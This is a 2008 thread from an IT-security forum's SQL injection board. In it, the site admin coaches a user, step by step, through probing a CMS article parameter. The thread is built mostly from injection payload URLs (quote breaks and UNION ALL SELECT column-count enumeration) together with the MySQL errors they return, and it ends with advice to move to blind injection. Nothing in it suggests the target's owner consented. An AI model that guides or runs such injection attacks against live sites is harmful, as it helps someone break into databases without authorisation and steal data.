Waraxe IT Security Portal
Login or Register
November 18, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 55
Members: 0
Total: 55
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> What is the next step
Post new topicReply to topic View previous topic :: View next topic
What is the next step
PostPosted: Mon Mar 03, 2008 1:41 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Hi again (:

Code:
site.com/cms/afficher_commentaire.html?numArticle=285'


=> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''285''' at line 7

Code:
site.com/cms/afficher_commentaire.html?numArticle=285"


->show me a news with a lot of bug

Code:
site.com/cms/afficher_commentaire.html?numArticle=285'+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13--+

show me a buggy news too :s

I've test each 1,2,3... because on the news it doesnt show me the count of column, but no one was working with @@version.
Can it be help or it is no use to continue?
View user's profile Send private message
PostPosted: Mon Mar 03, 2008 2:16 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Try this tests:

Code:

site.com/cms/afficher_commentaire.html?numArticle=285'--+


Code:

site.com/cms/afficher_commentaire.html?numArticle=285--+


Do you see normal news text? Or is there errors?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 03, 2008 4:14 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




It displays news with some bug again for the both of them. Actually, it displays the start of the news(title and header), then what is following is mess up but no error.
View user's profile Send private message
PostPosted: Mon Mar 03, 2008 4:21 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




What you need is meaningful sql error messages.

Try:

Code:

site.com/cms/afficher_commentaire.html?numArticle=-1+UNION+ALL+SELECT+1--+


Code:

site.com/cms/afficher_commentaire.html?numArticle=-1'+UNION+ALL+SELECT+1--+


Code:

site.com/cms/afficher_commentaire.html?numArticle=-1)+UNION+ALL+SELECT+1--+


Sql errors? Post them here.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 03, 2008 6:18 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Code:
site.com/cms/afficher_commentaire.html?numArticle=-1+UNION+ALL+SELECT+1--+


Error handled by webmaster

Code:
site.com/cms/afficher_commentaire.html?numArticle=-1'+UNION+ALL+SELECT+1--+


Error : The used SELECT statements have a different number of columns


Code:
site.com/cms/afficher_commentaire.html?numArticle=-1)+UNION+ALL+SELECT+1--+


Error handled by webmaster
View user's profile Send private message
PostPosted: Mon Mar 03, 2008 6:50 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




So if you tried this:

Code:
site.com/cms/afficher_commentaire.html?numArticle=-1'+UNION+ALL+SELECT+1--+


then error was complaining about wrong column count?
Next try to find right column count:


Code:
site.com/cms/afficher_commentaire.html?numArticle=-1'+UNION+ALL+SELECT+1,2--+


Code:
site.com/cms/afficher_commentaire.html?numArticle=-1'+UNION+ALL+SELECT+1,2,3--+


Code:
site.com/cms/afficher_commentaire.html?numArticle=-1'+UNION+ALL+SELECT+1,2,3,4--+


and so on.
If column count is right, then error message will disapear or change.
Let me know about right column count.

P.S. Column count can be big number - even > 50 Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 03, 2008 7:17 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




i already did it, see at the first post ^^ The error stop to 13 but no information is given as i see
View user's profile Send private message
PostPosted: Mon Mar 03, 2008 8:16 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Look at html source code, try columns with more specic strings, like "UNION ALL SELECT 999901,999902,999903,...999913--+" and then look for "9999" in html source.

And if still there is no useable visual feedback, then you need to implement blind injection methods. It's more complicated and has bad performance.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 03, 2008 9:41 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Nothing in the source, it seems that i have to give up ^^
Your knowledge is really helpful anyway, thank you ^^
View user's profile Send private message
What is the next step
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.035 Seconds